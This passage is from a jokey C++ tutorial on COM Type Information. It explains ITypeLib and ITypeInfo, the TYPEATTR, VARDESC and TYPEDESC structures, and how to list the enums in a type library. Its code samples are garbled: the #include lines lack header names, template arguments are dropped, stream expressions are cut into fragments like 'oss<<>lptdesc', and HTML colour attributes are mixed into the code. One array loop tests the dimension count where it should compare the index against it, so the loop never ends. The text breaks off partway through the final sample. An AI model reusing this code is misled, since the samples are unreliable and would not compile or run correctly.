All identifiers are required to be unique. Including two headers both with a Foo identifier will wreak havoc.
Most importantly: C++ headers only work with C++ clients!

These are truly appaling deficiencies. This lack of langauge and location transparency makes conventional headers innapropriate as the type information mechanism for component development. The mad programmer remedied all of these problems with COM Type Information.

The first thing he did was get rid of the text file. COM Type Information is stored in binary type libraries. These type libraries are opaque data; there is no benefit to directly working with these files. Why is this important? Implementors never need to write a type information parser for their Automation controllers. Instead, the COM runtime library provides a number of mechanisms for loading a type library (LoadTypeLib, LoadRegTypeLib, IProvideClassInfo::GetClassInfo and IDispatch::GetTypeInfo are most common) and providing the information contained within through the interfaces ITypeInfo and ITypeLib. This eliminates the language dependency inherent in C++ headers.

All methods parameterized in COM type libraries are part of a COM interface (with one minor exception we'll get to in a bit). The client can communicate with a remote server by way of a proxy object which implements the requested interface. This capability capitalizes on the virtual function call indirection, where an interface pointer of type IFoo may in reality point to a pointer to an instance of the _IFooProxyVtbl vtable. Each slot in this vtable points to a remoting function. So, for example, invoking a method IFoo::Hello could very likely delegate to a remoting function _IFoo_Hello_Proxy. Thanks to COM interfaces, life is good.

But wait! What if someone specifies method parameters which aren't remotable? Windows API has many types with process-affinity. The HDC is a pointer to opaque data describing a window or in-memory device context. Clearly any HDC is meaningless to remote machines. It's even meaningless to other processes; hence why controls that implement IViewObject are all in-proc servers (IViewObject::Draw takes two HDC parameters). Non-remotable types abound, and COM servers should avoid using them as function parameters unless they play some critical role. Our mad programmer friend, every bit the genius, made provisions to COM Type Information to prevent these unwanted non-remotable types from creeping into interface methods. You can define an interface to support only "Automation-compatible types." By no means of coincidence, the Automation-compatible types are the very same types which can be stored in a VARIANT. They are all, of course, remotable types.

Think about calling methods of dispatch interfaces. You resolve the DISPID of whatever method with IDispatch::GetIDsOfNames, and call the method by passing the DISPID to IDispatch::Invoke. If the method takes parameters, you need to instantiate a DISPPARAMS structure and load the contained VARIANTARG array with your method arguments. Whoa, a VARIANTARG array. VARIANTARG is identical to VARIANT, but it takes parameters by reference as well as by value (to allow [out] parameters). Since all VARIANT types are Automation-compatible types (as stated above), all parameters passed to a method through IDispatch::Invoke are also Automation-compatible types. By extension, any interface which supports dispatch calls to its methods (dispatch interfaces and dual interfaces) are Automation-compatible. By utilizing interfaces and mandating Automation-compatible types, COM has solved the location transparency problem in an elegant fashion.

Next on the table: identifier uniqueness. C++ fails miserably here. The language just isn't capable of producing truly component-oriented software without some help from COM. The items contained in COM type libraries have their own GUIDs. The identifier names are really just a convience; COM software works with the GUIDs internally to avoid name collisions. And what about support of multiple languages? You can further differentiate between type libraries by means of the lcid, or locale identifier.

As I've stated before, COM is a protocol for interoperable software. You don't need to worry about the vendor of one type library issuing non-standard extensions. With COM, you can feel safe that no one is pulling the rug out from under you with slop like #pragma and _declspec.

Finally, the remaining item on our list, "C++ headers must be distributed externally from their libraries," has been solved with COM Type Information. The CreateTypeLib API (and tools which encapsulate it, like MIDL) produce binary TLB files. As demonstrated in Part I, these type libraries can be added to your project as a resource; LoadTypeLib has no trouble plucking the type library resource out of a distributable.

Clearly, COM Type Information is a powerful system. Unfortunately, our mad programmer isn't called "mad" for nothing. ITypeLib and ITypeInfo, the COM-provided interfaces for pulling meaningful information from the opaque type library data, are a touch on the nasty side. Actually the recursive definitions of some of the type description structures is downright bizarre. The mad programmer is scheduled to appear in front of a war tribunal for this crime against humanity. Renowned COM-guy Don Box has even ranked ITypeInfo as his number two least favorite interface (only topped by another Automation interface, IDispatch). While Microsoft deserves some ghastly punishment for these interfaces (perhaps a week of Chinese water torture for the executives. Or some heavy DOJ action. Hell - just force Bill and Steve to watch the Frank and Kathy Lee Christmas Special... twice!), we can't change ITypeLib and ITypeInfo. The only thing to do is grit your teeth and dive in.

The Interfaces

Before we start our exploration of the deep, dark, spooky crevices of the ITypeLib and ITypeInfo interfaces, let's find out what exactly can be parameterized in a COM type library.

Constants / Enumerations
Structures
Unions
Typedefs
Functions
Classes

Enumerations
Structures
Unions
Typedefs
Interfaces
Coclasses
Modules

Figure 1

The left column comprises the items that can be defined in a C++ header file. The items in the right column are what you can define a COM type library. Nearly everything you can define in a C++ header you can define as COM Type Information. While you don't see "Functions" on the COM side of the table, an interface is essentially a group functions. Nothing surprising there. The only other differnce in Figure 1 is the existance of a "Modules" item for COM type libraries. A module is a collection of miscellaneous items, inclunding constants and non-member functions. I strongly suggest avoiding modules altogether. While they afford some additional flexibility for your project, they cause more problems than they're worth. Many Automation controllers don't work with modules at all; so their usefulness is pretty limited.

While you can produce type libraries with the ICreateTypeLib and ICreateTypeInfo interfaces obtained from CreateTypeLib, using MIDL (or the tool supplied by your particular development platform) is a better idea. In addition to providing a clean, C-like syntax for defining type libraries, MIDL can generate marshalling code for custom interfaces. Construction of a comparable tool would be a massive undertaking.

So without further ado, we begin our tour of COM Type Information. Having a few instances of the MSDN help open is highly recommended.

You are an Automation controller and are handed an IDispatch interface pointer. Your job is to present a list of the object's methods and properties to the user, who, if it weren't for a single pane of strategically placed glass, would be strangling you out of coding frustration. Don't screw up.

IDispatch::GetTypeInfoCount(UINT* pctinfo) is the place to start. This function's [out] argument indicates if the object provides type information. If after the call pctinfo holds 1, your object supports type information; otherwise you are out of luck. Obtaining an ITypeInfo pointer for the dispatch interface is incredibly easy - just invoke IDispatch::GetTypeInfo. The first parameter, UINT iTInfo is fairly worthless. You will always pass 0, requesting type information for the IDispatch interface (you aren't sure that any other interfaces even exist at this point). We have an ITypeInfo pointer. Now what?

A cursory inspection of ITypeInfo shows that this interface supports the methods of IDispatch. It's likely that the IDispatch methods exposed to the client actually delegate to the ITypeInfo implementations, as demonstrated in Part I. The first thing you'll want to do when presented with a new ITypeInfo pointer is get its type attributes; call ITypeInfo::GetTypeAttr(). Notice that GetTypeAttr takes not a pointer to a TYPEATTR structure, but a pointer to a pointer. It's an [out] parameter. The server allocates the space for the structure, so you are responsible for freeing it by invoking ITypeInfo::ReleaseTypeAttr.

from OAIDL.IDL

typedef struct tagTYPEATTR {
GUID guid; /* the GUID of the TypeInfo */
LCID lcid; /* locale of member names and doc strings */
DWORD dwReserved;
MEMBERID memidConstructor; /* ID of constructor, MEMBERID_NIL if none */
MEMBERID memidDestructor; /* ID of destructor, MEMBERID_NIL if none */
LPOLESTR lpstrSchema;
ULONG cbSizeInstance; /* the size of an instance of this type */
TYPEKIND typekind; /* the kind of type this typeinfo describes */
WORD cFuncs; /* number of functions */
WORD cVars; /* number of variables / data members */
WORD cImplTypes; /* number of implemented interfaces */
WORD cbSizeVft; /* the size of this types virtual func table */
WORD cbAlignment; /* specifies the alignment requirements for
an instance of this type,
0 = align on 64k boundary
1 = byte align
2 = word align
4 = dword align... */
WORD wTypeFlags;
WORD wMajorVerNum; /* major version number */
WORD wMinorVerNum; /* minor version number */
TYPEDESC tdescAlias; /* if typekind == TKIND_ALIAS this field
specifies the type for which this type
is an alias */
IDLDESC idldescType; /* IDL attributes of the described type */
} TYPEATTR, * LPTYPEATTR;

Don't let the size of this thing scare you! It's one of the simpler structures in the Type Information API. The GUID of TYPEATTR is the identifier of whatever the invoked ITypeInfo pointer describes. As we'll study later, ITypeInfo describes more than just interfaces. Since this TYPEATTR describes the IDispatch interface of an object (you CoCreateInstanced for IID_IDispatch did you not?), it would be logical that TYPEATTR::guid equals IID_IDispatch. Right? Well, actually no. This GUID is the identifier of the default interface for the object. For example, if we CoCreateInstance a MSComctlLib.Slider (Slider control), QueryInterfaced for IID_IDispatch, invoked IDispatch::GetTypeInfo, and finally ITypeInfo::GetTypeAttr, we'd discover that TYPEATTR::guid would equal IID_ISlider. This is far more helpful than IID_IDispatch; it would be quite unfortunate if the type information for all default interfaces returned the same interface identifier.

TYPEATTR::typekind indicates exactly what the ITypeInfo pointer is describing.

from OAIDL.IDL

typedef [v1_enum] enum tagTYPEKIND {
TKIND_ENUM = 0,
TKIND_RECORD,
TKIND_MODULE,
TKIND_INTERFACE,
TKIND_DISPATCH,
TKIND_COCLASS,
TKIND_ALIAS,
TKIND_UNION,
TKIND_MAX /* end of enum marker */
} TYPEKIND;

It's important to notice that TYPEKIND includes both TKIND_INTERFACE and TKIND_DISPATCH values, for describing vtable interfaces and dispinterfaces, respectively. So what does IDispatch::GetTypeInfo give you? Obviously the interface is a dispinterface, but the interface might also be dual. There is a slight anomaly here: IDispatch::GetTypeInfo might give you a TKIND_INTERFACE description, but on the other hand, it might give you a TKIND_DISPATCH description. Well, let's say you are working with a dual interface, and IDispatch::GetTypeInfo hands you a TKIND_INTERFACE pointer, but what you want is a TKIND_DISPATCH pointer. Pop quiz hot shot. What do you do? What do you do?

Check out the method ITypeInfo::GetRefTypeOfImplType. The parameters are UINT index and HREFTYPE* pRefType, respectively. The Automation Programmer's Reference states, "If a type description describes a COM class, it retrieves the type description of the implemented interface types. For an interface, GetRefTypeOfImplType returns the type information for inherited interfaces, if any exist." So how does that help us? Check the comment: "If the TKIND_DISPATCH type description is for a dual interface, the TKIND_INTERFACE type description can be obtained by calling GetRefTypeOfImplType with an index of -1, and by passing the returned pRefType handle to GetRefTypeInfo to retrieve the type information." Well, we have a TKIND_INTERFACE type description and want to get a TKIND_DISPATCH description. Unbenownst to the official documentation, GetRefTypeOfImplType is actually an oscillating function of sorts. For a TKIND_DISPATCH type description, passing it -1 yields an HREFTYPE for a TKIND_INTERFACE description. Similarly, for a TKIND_INTERFACE description, passing GetRefTypeOfImplType -1 yields an HREFTYPE for a TKIND_DISPATCH description. Wacky.

Now we know how to find a dispinterface description from an interface description, and vice versa, but how do we even know if the interface is dual? TYPEATTR is not a complicated structure, but it tells you a lot about the type in question. TYPEATTR::wTypeFlags is an instance of the enumeration TYPEFLAGS.

from OAIDL.IDL

typedef enum tagTYPEFLAGS {
TYPEFLAG_FAPPOBJECT = 0x01,
TYPEFLAG_FCANCREATE = 0x02,
TYPEFLAG_FLICENSED = 0x04,
TYPEFLAG_FPREDECLID = 0x08,
TYPEFLAG_FHIDDEN = 0x10,
TYPEFLAG_FCONTROL = 0x20,
TYPEFLAG_FDUAL = 0x40,
TYPEFLAG_FNONEXTENSIBLE = 0x80,
TYPEFLAG_FOLEAUTOMATION = 0x100,
TYPEFLAG_FRESTRICTED = 0x200,
TYPEFLAG_FAGGREGATABLE = 0x400,
TYPEFLAG_FREPLACEABLE = 0x800,
TYPEFLAG_FDISPATCHABLE = 0x1000,
TYPEFLAG_FREVERSEBIND = 0x2000
} TYPEFLAGS;

Aha! The TYPEFLAG_FDUAL bit is set for dual interfaces. For dual interfaces, the TYPEFLAG_FOLEAUTOMATION flag is also set (for the reasons presented in the "Type Info Motivations" section). Note, however, that TYPEFLAG_FOLEAUTOMATION is not set for pure-dispatch interfaces (even though they can only use automation compatible types). TYPEFLAG_FNONEXTENSIBLE is an important attribute. Dispinterfaces are wily creatures. Their definitions can change at runtime by programming IDispatch::GetIDsOfNames to resolve or not resolve names based on state. This ability is worrisome to Automation controllers which use ID binding (using Invoke to call methods but resolving the DISPIDs at compile time). TYPEFLAG_FNONEXTENSIBLE gives the client the guarantee that GetIDsOfNames will always resolve the same identifiers. The other TYPEFLAGS values are generic MIDL attributes, or are used to describe the other items listed in Figure 1.

Let's finish up our coverage of TYPEATTR. If TYPEATTR::typekind indicates that the type information is describing an interface or dispinterface, TYPEATTR::cImplTypes specifies the number of immediate base classes the interface derives from. Since COM interfaces do not support multiple inheritance, this value will always be 0 or 1. The first of the COM Commandments, "Thou shalt derive IUnknown," proves that TYPEATTR::cImplTypes will hold 1 for every interface other than IUnknown. IUnknown, of course, has no base class. How do you retrieve a type description for an interface's base? Invoke ITypeInfo::GetRefTypeOfImplType, passing 0 for index. Pass the resultant HREFTYPE to ITypeInfo::GetRefTypeInfo to procure the appropriate ITypeInfo pointer.

TYPEATTR::wMajorVerNum and wMinorVerNum simply hold the version of the type. This corresponds to the MIDL version attribute. TYPEATTR::cbSizeInstance applies not to interfaces, but structures and unions. This holds the size in bytes of an instance of the structure or union. TYPEATTR::cbSizeVft gives the size of the virtual table of the described TKIND_INTERFACE. Everything mentioned above is nice to know, but it doesn't hit at the heart of type information. By far the two most important elements of TYPEATTR are cVars and cFuncs.

These two members specify the number of "variables" (enum values, structure members, union members) and functions (interface methods) that the described type contains. These two values are mutually exclusive; when cVar is nonzero, cFuncs is zero, and vice versa. Pulling method definitions out of the type library is a difficult thing. We'll cover variables first. For this you need to get a type description interface for the structure, enum, or union in question. Of course all we have right now is the type description of the default dispatch interface. An ITypeLib pointer to the containing type library can be acquired with the appropriately named method ITypeInfo::GetContainingTypeLib. The returned ITypeLib pointer gives you access to the type descriptions for all seven categories in Figure 1. If you'd rather load the type library without instantiating any objects, use LoadTypeLib or LoadRegTypeLib.

ITypeLib::GetTypeInfoCount is a curious and mis-documented function. As of the January 99 MSDN distribution, Microsoft claims that it takes no parameters and returns HRESULT. This return value, MSDN states, is either S_OK or E_NOTIMPL. Well, then where's the "count" in GetTypeInfoCount? The answer is simple: MSDN is screwed up. Checking OAIDL.IDL shows that ITypeLib::GetTypeInfoCount returns a UINT. This value is the total number of type descriptions in the type library. Passing an index between 0 and GetTypeInfoCount - 1 to ITypeLib::GetTypeInfo returns the appropriate ITypeInfo type description pointer. Here's where things get fun.

Let's say we want to print out a list of all the enumerations in the type library. We have our ITypeLib pointer, and have retrieved the count of type descriptions with ITypeLib::GetTypeInfoCount. How do we tell if any arbitrary type description (based on its index) describes an enum? ITypeLib::GetTypeInfoType returns a TYPEKIND when passed an index. This is the same as the TYPEATTR we just covered. If ITypeLib::GetTypeInfoType on an index between 0 and GetTypeInfoCount - 1 returns TKIND_ENUM, we know we've got a winning index. Now we just need to print out its name. Take a look through the type description interfaces for something to resolve a name from an ITypeInfo pointer or ITypeLib index. Aha! ITypeInfo::GetNames. Sorry. While this looks promising, GetNames is used to produce method names and arguments, and structure, enum, and union values, as indicated by its MEMBERID parameter (think DISPID). GetNames won't work, but ITypeLib::GetDocumentation will (why type names are called "documentation" is beyond me). We can pass the type library index to ITypeLib::GetDocumentation to retrieve a bunch of goodies. Not just the name, but the helpstring, helpcontext, and helpfile too. Here's a sample app:

#include
#include
#include

void main() {
HRESULT hr(CoInitialize(0));
if(hr) { std::cout<< "No COM... This is embarassing.\n\n"; return; }

CComPtr pTypeLib;
hr = LoadTypeLib(L"C:\\Windows\\System\\msdxm.ocx", &pTypeLib);
if(hr) { std::cout<< "Couldn't load the library :(\n\n"; return; }

UINT infoCount(pTypeLib->GetTypeInfoCount());
for(UINT curEnum(0); curEnum < infoCount; ++curEnum) {
TYPEKIND typeKind;
hr = pTypeLib->GetTypeInfoType(curEnum, &typeKind);
if(hr || typeKind != TKIND_ENUM) continue;

CComBSTR name;
CComBSTR helpString;
hr = pTypeLib->GetDocumentation(curEnum, &name, &helpString, 0, 0);
if(hr) continue;
std::wcout<<>
if(helpString) std::wcout<< color="#ff0000">" helpstring: "<<>
std::wcout<< color="#ff0000">"\n";
}
}

Amazingly simple code. The OCX file specified is the Windows Media Player component. Here is the program output:

That was sure easy. ITypeLib::GetTypeInfo will return the type description for the specified index. Calling ITypeInfo::GetTypeAttr fills out a TYPEATTR struct, giving the GUID and number of values in the enumerator. Invoking ITypeInfo::GetVarDesc on the indices 0 to TYPEATTR::cVars builds a VARDESC structure for each value in the enumerator.

from OAIDL.IDL

typedef struct tagVARDESC {
MEMBERID memid;
LPOLESTR lpstrSchema;
[switch_type(VARKIND), switch_is(varkind)] union {
/* offset of variable within the instance */
[case(VAR_PERINSTANCE, VAR_DISPATCH, VAR_STATIC)] ULONG oInst;
[case(VAR_CONST)] VARIANT * lpvarValue; /* the value of the constant */
};
ELEMDESC elemdescVar;
WORD wVarFlags;
VARKIND varkind;
} VARDESC, * LPVARDESC;

The first element, VARDESC::memid, can be passed to ITypeInfo::GetNames to retrieve the name of the enumeration value. For structure and union data members, VARDESC::varkind is usually set to VAR_PERINSTANCE; for enums it is set to VAR_CONST. However, structs and unions can both contain constant data members, which don't add to the size of an instance of the struct or union. The lpvarValue VARIANT holds the default value for the constant. Because the type of this VARIANT is not necessarily the type of the constant, it must be able to be coerced. The type of the constant is described by the ELEMDESC instance VARDESC::elemdescVar.

from OAIDL.IDL

typedef struct tagELEMDESC {
TYPEDESC tdesc; /* the type of the element */
PARAMDESC paramdesc; /* IDLDESC is a subset of PARAMDESC */
} ELEMDESC;

ELEMDESC is a powerful structure used for describing nearly everything in a COM type library. Interface method parameters are each described with a TYPEDESC, one of ELEMDESC's two items, as are structure and union members (and typedefs too). Let's look at the PARAMDESC structure.

from OAIDL.IDL

typedef struct tagPARAMDESC {
LPPARAMDESCEX pparamdescex; /* valid if PARAMFLAG_FHASDEFAULT bit is set */
USHORT wParamFlags; /* IN, OUT, etc */
} PARAMDESC, * LPPARAMDESC;

Starting to fear a proliferation of structures yet? There's much more to come. The constants for PARAMDESC::wParamFlags are as follows.

from OAIDL.IDL

const USHORT PARAMFLAG_NONE = 0x00;
const USHORT PARAMFLAG_FIN = 0x01;
const USHORT PARAMFLAG_FOUT = 0x02;
const USHORT PARAMFLAG_FLCID = 0x04;
const USHORT PARAMFLAG_FRETVAL = 0x08;
const USHORT PARAMFLAG_FOPT = 0x10;
const USHORT PARAMFLAG_FHASDEFAULT = 0x20;
const USHORT PARAMFLAG_FHASCUSTDATA = 0x40;

These flags differ from the others we've seen; they aren't part of an enumeration. The seven items from Figure 1 don't include constants defined out in the global namespace, so how is this possible? Quite simple really - the constants aren't inside a library clause. The PARAMFLAG_FHASCUSTDATA is so rarely used (I've never seen it used) we'll ignore it here. The remaining flags all modify method parameters. Each corresponds to a MIDL attribute: in, out, lcid, retval, optional, and defaultvalue.

If the PARAMFLAG_FHASDEFEAULT bit is set on the PARAMDESC::wParamFlags element, PARAMDESC::pparamdescex is a pointer to the method's default value. This does not hold the value of our enumeration item; that's back in VARDESC::lpvarValue.

from OAIDL.IDL

typedef struct tagPARAMDESCEX {
ULONG cBytes; /* size of this structure */
VARIANTARG varDefaultValue; /* default value of this parameter */
} PARAMDESCEX, * LPPARAMDESCEX;

Because parameters can be passed to methods by reference (typically as [out] parameters), the VARIANTARG structure (which allows VT_BYREF data) is used instead of VARIANT.

We've covered PARAMDESC, so let's start on the other element of ELEMDESC: TYPEDESC. Things will get complicated here. Much of the criticism of the COM Type Information interfaces is a result of the loony design of TYPEDESC. However once you figure out its designs, it isn't that bad to work with.

from OAIDL.IDL

typedef struct tagTYPEDESC {
[switch_type(VARTYPE), switch_is(vt)] union {
[case(VT_PTR, VT_SAFEARRAY)] struct tagTYPEDESC * lptdesc;
[case(VT_CARRAY)] struct tagARRAYDESC * lpadesc;
[case(VT_USERDEFINED)] HREFTYPE hreftype;
[default] ;
};
VARTYPE vt;
} TYPEDESC;

Fortunately IDL makes the intent of unions pretty clear. Let's see here, if TYPEDESC::vt is VT_PTR or VT_SAFEARRAY, then TYPEDESC::lptdesc is a valid pointer to a... TYPEDESC structure. Oh hell. A recursively defined structure. For convienence, we name our original VARDESC structure varDesc. We grab a reference to the first contained TYPEDESC: TYPEDESC& typeDesc = varDesc.elemdescVar.tdesc. If typeDesc.vt is VT_PTR, then varDesc describes a pointer to type typeDesc->lptdesc. If typeDesc->lptdesc.vt equals VT_I4, for example, then we have a type description for a long* element. Automation-compatible types are by value or by a single reference, so they won't lead you down more than one level of indirection via VT_PTR values (a single VT_PTR is basically equivalent to the VARIANT VT_BYREF flag). Of course not all types are Automation-compatible. If you don't care about IDispatch and program only a custom interface (like most C++ programmers do), your types can be arbitrarily complex. The TYPEDESC structure won't hold you back.

typeDesc.vt equaling VT_SAFEARRAY also sets up a special case.

from OAIDL.IDL

typedef struct tagSAFEARRAYBOUND {
ULONG cElements;
LONG lLbound;
} SAFEARRAYBOUND, * LPSAFEARRAYBOUND;

typedef struct tagSAFEARRAY {
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[];
} SAFEARRAY;

const USHORT FADF_AUTO = 0x0001; /* array is allocated on the stack */
const USHORT FADF_STATIC = 0x0002; /* array is staticly allocated */
const USHORT FADF_EMBEDDED = 0x0004; /* array is embedded in a structure */
const USHORT FADF_FIXEDSIZE = 0x0010; /* may not be resized or reallocated */
const USHORT FADF_RECORD = 0x0020; /* an array of records */
const USHORT FADF_HAVEIID = 0x0040; /* with FADF_DISPATCH, FADF_UNKNOWN */
/* array has an IID for interfaces */
const USHORT FADF_HAVEVARTYPE= 0x0080; /* array has a VT type */
const USHORT FADF_BSTR = 0x0100; /* an array of BSTRs */
const USHORT FADF_UNKNOWN = 0x0200; /* an array of IUnknown* */
const USHORT FADF_DISPATCH = 0x0400; /* an array of IDispatch* */
const USHORT FADF_VARIANT = 0x0800; /* an array of VARIANTs */
const USHORT FADF_RESERVED = 0xF008; /* reserved bits */

SAFEARRAY is a structure for storing arrays of arbitrary complexity. Not only does it allow multidimensional arrays, but it provides a SAFEARRAYBOUND instance for each dimension to describe the starting index (unlike C++ arrays, SAFEARRAYs don't have to be zero-based) and number of elements. The SAFEARRAY and SafeArrayXXXX COM runtime methods are documented in the Automation Programmer's Guide. If typeDesc.vt contains VT_SAFEARRAY, then the varDesc instance describes a type SAFEARRAY(typeDesc->lptdesc).

from OAIDL.IDL

typedef struct tagARRAYDESC {
TYPEDESC tdescElem; /* element type */
USHORT cDims; /* dimension count */
[size_is(cDims)] SAFEARRAYBOUND rgbounds[]; /* var len array of bounds */
} ARRAYDESC;

typeDesc.vt equaling VT_CARRAY makes typeDesc.lpadesc a valid ARRAYDESC pointer. This structure is essentially a watered down SAFEARRAY. The main difference is that while the dimensions and elements of a SAFEARRAY can be defined at runtime, VT_CARRAY is stricly a compile time mechanism. If typeDesc.vt equals VT_CARRAY, varDesc describes an array of typeDesc->lpadesc.tdescElem with dimension typeDesc->lpadesc.cDims.

If typeDesc.vt is not VT_PTR, VT_SAFEARRAY, VT_CARRAY, or VT_USERDEFINED, it holds a real VARIANT type. This is the terminating condition of the recursive definition of TYPEDESC. These VARIANT types are the primitives from which all arrays and user-defined types are built from. Speaking of user-defined types, the TYPEDESC union switch has a case for VT_USERDEFINED. Let's investigate that now (by the way, we are still exploring the mechanisms used to display the values of an enumeration. We're just taking the scenic route).

typeDesc.hreftype is valid if typeDesc.vt holds VT_USERDEFINED. As we've already discovered, passing an HREFTYPE to ITypeInfo::GetRefTypeInfo produces an ITypeInfo pointer describing the referenced type. When presented with a new ITypeInfo pointer, it's a good idea to retrieve the TYPEATTR structure. This indicates not just the number of variables or functions, but the TYPEKIND of the type description. If the type kind indicates a union, structure, enum, or typedef, you need to hack at yet another TYPEATTR structure. That's just great. Is there at least an easy way to retrieve the name of the described type? ITypeInfo::GetNames needs a MEMBERID, which we don't have (the MEMBERID is literally for members of the type - methods and values). ITypeInfo::GetDocumentation also needs a MEMBERID. ITypeLib::GetDocumentation only needs the library's index of the type, which we can acquire with a call to ITypeInfo::GetContainingTypeLib. While the ITypeInfo::GetContainingTypeLib / ITypeLib::GetDocumentation pair will retrieve our type's name, it's too much work. The mad programmer helped us out a bit here - we can pass -1 as the MEMBERID to ITypeInfo::GetDocumentation to procure our type's name, help string, and help file context. What a great time!

Hopefully you have a sense of the flexibility of COM Type Information; items of arbitrary complexity can be defined, but at the cost of increased programmer aggravation. We've covered the ELEMDESC structure pretty thoroughly now. Let's finish our program for displaying the enumerated types of a type library. "But wait!" you protest. Can enums in a COM type library be of any type allowed by the TYPEDESC structure? Actually, no. As the MIDL documentation explains, "Objects of type enum are int types, and their size is system-dependent." So why would I go through all the trouble of recursing around TYPEDESC when all I'll come up with is an int? The ultimate goal of the programmer is to write as little code as he possibly can. If one function can serve many purposes, he's done a good job with that function. The information we get from TYPEDESC is nontrivial for unions, structures, typedefs, and (disp)interface methods. This procedure will be invoked from the function to process VARDESC structures (which describe unions, structures, and enums) as well. Given just a VARDESC pointer, there is no way to determine if you are working with a type description for an enum, structure, or union. Therefore, we call the procedure for processing TYPEDESCs for all three variable types. It just makes for cleaner, more reusable code.

Let's write our program for displaying all the enumerated types (and their values) in a type library. The amazing part about this code is that with only a trivial change, you can adapt the code to display the structures or unions in a type library instead. I'll make comments about the source after every function.

#include
#include
#include
#include

std::string stringifyCustomType(HREFTYPE refType, ITypeInfo* pti) {
CComPtr pTypeInfo(pti);
CComPtr pCustTypeInfo;
HRESULT hr(pTypeInfo->GetRefTypeInfo(refType, &pCustTypeInfo));
if(hr) return "UnknownCustomType";
CComBSTR bstrType;
hr = pCustTypeInfo->GetDocumentation(-1, &bstrType, 0, 0, 0);
if(hr) return "UnknownCustomType";
char ansiType[MAX_PATH];
WideCharToMultiByte(CP_ACP, 0, bstrType, bstrType.Length() + 1,
ansiType, MAX_PATH, 0, 0);
return ansiType;
}

The stringifyCustomType function is very simple (just the way I like it). Passed an HREFTYPE and an ITypeInfo pointer, stringifyCustomType invokes ITypeInfo::GetRefTypeInfo to procure the type description of the custom type. ITypeInfo::GetDocumentation on this type description is passed -1, specifying that the name of the type is wanted. The result is returned as an std::string. The next function does a significant amount of work, and is probably bugged as hell :-O

std::string stringifyTypeDesc(TYPEDESC* typeDesc, ITypeInfo* pTypeInfo) {
std::ostringstream oss;
if(typeDesc->vt == VT_PTR) {
oss<<>lptdesc, pTypeInfo)<< '*';
return oss.str();
}
if(typeDesc->vt == VT_SAFEARRAY) {
oss<< "SAFEARRAY("
<<>lptdesc, pTypeInfo)<< ')';
return oss.str();
}
if(typeDesc->vt == VT_CARRAY) {
oss<<>lpadesc->tdescElem, pTypeInfo);
for(int dim(0); typeDesc->lpadesc->cDims; ++dim)
oss<< '['<<>lpadesc->rgbounds[dim].lLbound<< "..."
<< (typeDesc->lpadesc->rgbounds[dim].cElements +
typeDesc->lpadesc->rgbounds[dim].lLbound - 1)<< ']';
return oss.str();
}
if(typeDesc->vt == VT_USERDEFINED) {
oss<<>hreftype, pTypeInfo);
return oss.str();
}

switch(typeDesc->vt) {
// VARIANT/VARIANTARG compatible types
case VT_I2: return "short";
case VT_I4: return "long";
case VT_R4: return "float";
case VT_R8: return "double";
case VT_CY: return "CY";
case VT_DATE: return "DATE";
case VT_BSTR: return "BSTR";
case VT_DISPATCH: return "IDispatch*";
case VT_ERROR: return "SCODE";
case VT_BOOL: return "VARIANT_BOOL";
case VT_VARIANT: return "VARIANT";
case VT_UNKNOWN: return "IUnknown*";
case VT_UI1: return "BYTE";
case VT_DECIMAL: return "DECIMAL";
case VT_I1: return "char";
case VT_UI2: return "USHORT";
case VT_UI4: return "ULONG";
case VT_I8: return "__int64";
case VT_UI8: return "unsigned __int64";
case VT_INT: return "int";
case VT_UINT: return "UINT";
case VT_HRESULT: return "HRESULT";
case VT_VOID: return "void";
case VT_LPSTR: return "char*";
case VT_LPWSTR: return "wchar_t*";
}
return "BIG ERROR!";
}

Holy Moly. A recursive function. And one that doesn't just compute 7 factorial.

Passing stringifyTypeDesc a TYPEDESC pointer and corresponding ITypeInfo pointer returns the stringified name of the type. If the VARTYPE of the TYPEDESC is VT_PTR, the function grabs stringifyTypeDesc(typeDesc->lptdesc, pTypeInfo) and appends an asterisk. For example, if typeDesc.vt equals VT_PTR and typeDesc->lptdesc.vt equals VT_BSTR, the function returns "BSTR*." The SAFEARRAY case is similar. The stringified name of typeDesc->lptdesc is returned between the paranthesis in "SAFEARRAY()."

The C array scenario is different, but no more complicated. typeDesc->lpadesc->tdescElem is stringified and for each dimension, a bracket pair containing the domain of elements in that dimension is appended. Notice that the printed range of elements is inclusive. For example, if the lower bound of a dimension was 6, and the number of elements was 4, the bracket would look like "[6...9]." The four elements starting at 6 (6, 7, 8, and 9) constitute the domain of the array in that dimension.

Both the VT_USERDEFINED case and the VARIANT cases cause this recursive function to begin unwinding. VT_USERDEFINED simply returns stringifyCustomType as defined above. The big VARIANT switch (a very common and goofy looking creature) returns the string representation of the contained VARTYPE. If typeDesc.vt is none of the cases I've coded for, "BIG ERROR!" is returned. As time progresses, more types may be added to VARTYPE (although I seriously doubt it - enums should be immutable like interfaces), and "BIG ERROR!" draws attention to the fact that you are using an out of date client.

std::string stringifyVarDesc(VARDESC* varDesc, ITypeInfo* pti) {
CComPtr pTypeInfo(pti);
std::ostringstream oss;
if(varDesc->varkind == VAR_CONST) oss<< "const ";
oss<<>elemdescVar.tdesc, pTypeInfo);
CComBSTR bstrName;
HRESULT hr(pTypeInfo->GetDocumentation(varDesc->memid, &bstrName, 0, 0, 0));
if(hr) return "UnknownName";
char ansiName[MAX_PATH];
WideCharToMultiByte(CP_ACP, 0, bstrName, bstrName.Length() + 1, ansiName,
MAX_PATH, 0, 0);
oss<< ' '<< ansiName;
if(varDesc->varkind != VAR_CONST) return oss.str();
oss<< " = ";
CComVariant variant;
hr = VariantChangeType(&variant, varDesc->lpvarValue, 0, VT_BSTR);
if(hr) oss<< "???";
else {
WideCharToMultiByte(CP_ACP, 0, variant.bstrVal,
SysStringLen(variant.bstrVal) + 1, ansiName, MAX_PATH, 0, 0);
oss<< ansiName;
}
return oss.str();
}

stringifyVarDesc returns the complete string of the enum value, structure value, or union value in question. If the value is const, "const" is printed before the return value of stringifyTypeDesc. The value name, produced by ITypeInfo::GetDocumentation, is appended. If the value is const, an equal sign is added, and VariantChangeType is used to coerce varDesc->lpvarValue to a BSTR, which becomes the right-hand side of the equation. The string is then returned to the caller.

With all this work done, shall we test the code? First we will output a list of all the enums and their values.

#include
#include
#include
#include

// print out all the enums and their values in a type library

void main() {
HRESULT hr(CoInitialize(0));
if(hr) { std::cout<< "No COM... This is embarassing.\n\n"; return; }

CComPtr pTypeLib;
hr = LoadTypeLib(L"C:\\Windows\\System\\msdxm.ocx", &pTypeLib);
if(hr) { std::cout<< "Couldn't load the library :(\n\n"; return; }

